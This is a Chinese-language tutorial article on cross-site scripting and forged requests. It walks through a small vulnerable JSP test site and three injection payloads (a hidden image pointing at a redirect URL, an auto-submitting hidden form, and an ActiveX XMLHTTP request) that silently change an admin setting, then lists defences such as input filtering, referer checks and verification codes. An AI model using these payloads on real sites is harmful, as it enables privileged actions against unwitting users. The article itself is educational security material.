摘要
XSS(Cross Site Script)跨站脚本攻击。它指的是恶意攻击者往Web 页面里插入恶
意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而
达到恶意用户的特殊目的。本文介绍了该攻击方式,并给出了一些防范措施。
原理
XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用script、<IMG>、
<IFRAME>等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,
如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为
被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起
的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,
可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通
过script 来发起的,因此被称为Cross Site Script。
攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统
有一个漏洞,当用户在web 上察看信件时,有可能执行到信件内的javascript 代码。病
毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax
技术,这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求,从而得到用
户的地址簿,并发送病毒给他人。
XSS 攻击主要分为两类:一类是来自内部的攻击,主要指的是利用WEB 程序自身
的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串
被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞,都是WEB
程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。
另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目
标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页
放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管
理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的。
实战
我们来看一个简单的攻击实例,下表给出了一个简单的网站
http://10.10.67.25:8080/testxss,该网站的密码和用户名相同,普通用户可以修改user
value,当以admin 身份登陆时可以通过向doadmin.jsp 发起请求来修改admin value。
|
|
index.jsp <html> <body> <textarea rows="3" cols="100" readonly="on"> Current User: ${username} Admin Value: ${adminvalue} User Value: ${uservalue} </textarea> <br> <a href="login.jsp"/>logout</a><br> Login:<br> <form action="login.jsp" method="post"> username: <input type="text" name="u"></input> <br> password: <input type="text" name="p"></input> <br> <input type="submit" /> password == username :-) </form> <form action="doadmin.jsp" method="post"> adminvalue: <input type="text" name="v"></input> <br> <input type="submit" /> </form> <form action="doadmin.jsp" method="post"> uservalue: <input type="text" name="v2"></input> <br> <input type="submit" /> </form> </body> |
|
|
login.jsp <% String u = request.getParameter("u"); String p = request.getParameter("p"); if (u != null && p != null && u.equals(p)) { session.setAttribute("username", u); } else { session.removeAttribute("username"); } response.sendRedirect("index.jsp"); %> |
|
|
doadmin.jsp <% String u = (String)session.getAttribute("username"); String v = request.getParameter("v"); String v2 = request.getParameter("v2"); if (u != null && u.equals("admin")) { if (v != null) application.setAttribute("adminvalue", v); 搜狐公司研发中心版权所有,仅供技术交流,转载请保留上述文字 } if (u != null && v2 != null) application.setAttribute("uservalue", v2); response.sendRedirect("index.jsp"); %> |
|
|
容易想到,只要诱骗admin 用户发起一个到
http://10.10.67.25:8080/testxss/doadmin.jsp 的http 请求,就能成功攻击。因此我们设
计跨站语句如下:
hello </textarea> <img src="http://tinyurldd.com/2xwfed" style="display:none"> </img>
hello </textarea> <form id="shit" action="http://10.10.67.25:8080/testxss/doadmin.jsp" metho
nd="post" target="myframe"/> <input type="hidden" name="v" value="hacked3"/> </form> <iframe
style="display:none" name="myframe"> </iframe><script>document.forms[0].submit()</script>
hello </textarea> <script language="jscript">v = new ActiveXObject("MSXML2.XMLHTTP.3.0"); v.
open("GET","http://10.10.67.25:8080/testxss/doadmin.jsp?v=hacked4"); v.send();alert(v.status
Text);</script>
以普通用户身份修改user value 为以上任何一个,当admin 浏览index.jsp 时,即
可悄无声息的修改admin value
这里演示了3 种跨站手法,1 是利用img、iframe 等tag 直接发起请求,这适用于
无法直接出script 的情况,其中http://tinyurldd.com/2xwfed 是一个redirect,指向
http://10.10.67.25:8080/testxss/doadmin.jsp?v=hacked2 ;2 是用script 提交post 表
单;3 是ajax 技术。
以上攻击能够成功有2 个原因:1. 应用程序没有对user value 做足够多的过滤,导
致用户有机会构造一个复杂的跨站语句来触发admin 的非预期行为;2. 应用程序在响
应admin value 修改请求时没有防范措施来识别这是不是出于用户主动。
漏洞1 很容易修复,只要像防止SQL Injection 那样对用户输入的所有内容都过滤即
可。漏洞2 才是问题的根源,即便我们修补了漏洞1,只要诱使admin 用户访问包含<img
src="http://tinyurldd.com/2xwfed"> </img>的页面,仍然能达到目的,而这是一件极容易
做到的事。
防范措施
这里给出一些防范XSS 攻击的措施。必须说明的是,对于XSS 攻击,并不像SQL
Injection 那样可以有一劳永逸的解决方案——只需要grep 一下所有的sql 调用。这是一
场长期的斗争,而且往往需要我们采取修改业务流程、产品设计等看似削足适履的手段。
先总结一下常见的攻击手法:
1. 依赖跨站漏洞,需要在被攻击网站的页面种入脚本的手法
1.1. Cookie 盗取,通过javascript 获取被攻击网站种下的cookie,并发送给攻击者。
1.1.1. 从cookie 中提取密码等隐私
1.1.2. 利用cookie 伪造session,发起重放攻击
1.2. Ajex 信息盗取,通过javascript 发起ajex 请求。
1.2.1. 从ajex 结果中获取隐私。
1.2.2. 模拟用户完成多页表单。
2. 不依赖跨站漏洞的手法
搜狐公司研发中心版权所有,仅供技术交流,转载请保留上述文字
2.1. 单向HTTP 动作,通过img.src 等方法发起跨站访问,冒充被攻击者执行特权操作。
但是很难拿到服务器的返回值。
2.2. 双向HTTP 动作,如果服务器产生一段动态的script,那么可以用script.src 的方法
发起跨站访问并拿到服务器的返回值。
防范手法如下:
1. 防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句
不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细
检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以
encode,避免不小心把html tag 弄出来。
这一个层面做好,至少可以堵住超过一半的XSS 攻击。
2. Cookie 防盗
首先避免直接在cookie 中泄露用户隐私,例如email、密码等等。
其次通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的
cookie 没有实际价值,不可能拿来重放。
3. 尽量采用POST 而非GET 提交表单
POST 操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的
跨站漏洞。
4. 严格检查refer
检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求,
也能防止大部分第1 类攻击手法,除非正好在特权操作的引用页上种了跨站访问。
5. 将单步流程改为多步,在多步流程中引入效验码
多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面,下一步操
作时这个验证码被提交到服务器,服务器检查这个验证码是否匹配。首先这为第1 类攻
击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能
发起下一步请求,这在第2 类攻击中是几乎无法做到的。
6. 引入用户交互
简单的一个看图识数可以堵住几乎所有的非预期特权操作。
7. 只在允许anonymous 访问的地方使用动态的javascript。
8. 对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等
可疑操作。
9. 内部管理网站的问题
很多时候,内部管理网站往往疏于关注安全问题,只是简单的限制访问来源。这种
网站往往对XSS 攻击毫无抵抗力,需要多加注意。
安全问题需要长期的关注,从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加
隐蔽和多变,和业务流程、代码实现都有关系,不存在什么一劳永逸的解决方案。此外,
面对XSS,往往要牺牲产品的便利性才能保证完全的安全,如何在安全和便利之间平衡
也是一件需要考虑的事情。
相关推荐
### XSS跨站脚本攻击在Java开发中的防范方法 #### XSS攻击原理与分类 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的安全威胁,它利用Web应用程序的安全漏洞,将恶意脚本注入到合法的网页中,进而攻击最终...
**XSS跨站脚本攻击详解** XSS(Cross Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本,从而获取敏感信息或者操控用户的行为。这种攻击主要发生在Web应用中,攻击...
### XSS跨站脚本攻击详解 #### 一、XSS跨站脚本攻击概述 XSS(Cross-Site Scripting),即跨站脚本攻击,是一种常见的网络安全威胁,主要通过在受害者的浏览器环境中注入恶意脚本,从而实现对用户的攻击。这种攻击...
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全问题,它发生在攻击者通过在网页中注入恶意脚本,使得用户在不知情的情况下执行这些脚本,从而盗取用户数据或者控制用户浏览器的行为。XSS攻击主要分为...
### XSS跨站脚本攻击方法初探 #### 摘要 本文主要探讨了XSS(Cross Site Scripting,跨站脚本)攻击的基本概念、原理及其常见的几种攻击手法。XSS攻击是一种针对Web应用程序的安全漏洞,攻击者通过在合法网站上插入...
《XSS跨站脚本gj剖析与防御》是一份详尽探讨网络安全中XSS(Cross-Site Scripting)攻击的资源,对于理解和防范这种常见网络威胁至关重要。XSS攻击是一种利用网站用户输入来注入恶意脚本的手段,这些脚本能够在受害...
跨站脚本攻击(XSS攻击)是一种常见的网站安全漏洞利用方式,它允许攻击者在用户的浏览器中执行恶意脚本,从而进行非法操作。本文将详细介绍跨站脚本攻击的原理和防范措施。 首先,要理解跨站脚本攻击,必须先了解...
【XSS跨站脚本攻击】详解 XSS(Cross-Site Scripting)跨站脚本攻击是网络攻防领域中的常见威胁,攻击者利用这种技术向网页中注入恶意脚本,进而对用户的信息安全构成严重风险。由于浏览器通常无法区分合法与恶意...
内容概要:本文详细阐述了跨站脚本(XSS)攻击的基本原理、攻击类型、可能引发的危害以及防范措施。首先介绍了XSS的概念及原理,包括恶意脚本是如何利用网页漏洞在用户浏览器中运行的。接着解释了三种主要的XSS攻击...
### XSS跨站脚本攻击剖析与防御 #### 一、XSS攻击概述 **XSS**(Cross Site Scripting)即跨站脚本攻击,是一种常见的Web应用程序安全漏洞。这种攻击方式利用网页开发时的疏忽,允许攻击者往网页里插入恶意html代码...
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本,从而获取敏感信息、操纵用户界面或进行其他有害操作。这种攻击通常发生在Web应用程序中,因为它们未能...
跨站脚本攻击(XSS)是网络安全领域中一种常见的攻击方式,主要针对Web应用程序。XSS攻击允许恶意攻击者通过注入可执行的脚本代码,来操纵用户浏览器的行为,从而窃取敏感信息、实施钓鱼欺诈或者进行其他恶意操作。...
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web应用程序安全漏洞,它允许攻击者通过注入恶意脚本来攻击用户。这种攻击通常发生在用户浏览器上,利用的是用户对目标网站的信任。 - **定义**:XSS攻击是...
- **定义**:XSS(Cross-Site Scripting)即跨站脚本攻击,是指攻击者利用网站漏洞,将恶意脚本代码注入到网页中,当其他用户浏览这些网页时,就会在用户的浏览器上执行恶意代码。XSS攻击通常发生在用户与Web应用...
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的网络安全威胁,通常发生在网站应用程序未能正确过滤用户输入的数据时。这种攻击使得攻击者能够在受害者的浏览器中执行恶意脚本,从而窃取敏感数据、冒充...
跨站脚本攻击(XSS,Cross Site Scripting)是一种常见的网络安全漏洞,它允许恶意攻击者在用户浏览器中注入并执行恶意脚本。攻击者通常通过在网页上插入恶意HTML或JavaScript代码来实现这一目标。当用户访问这些被...
**XSS(跨站脚本攻击)基础知识** XSS(Cross-site scripting)是一种常见的网络攻击方式,它利用网站对用户输入的不安全处理,将恶意脚本注入到网页中,当其他用户访问这些被注入脚本的页面时,恶意脚本会被执行,...
然而,这也带来了新的网络安全挑战,其中跨站脚本攻击(Cross-Site Scripting,简称XSS)成为了一大威胁。XSS攻击利用Web应用程序对用户输入数据处理不当的漏洞,将恶意脚本注入到合法的网页中,进而危害用户的数据...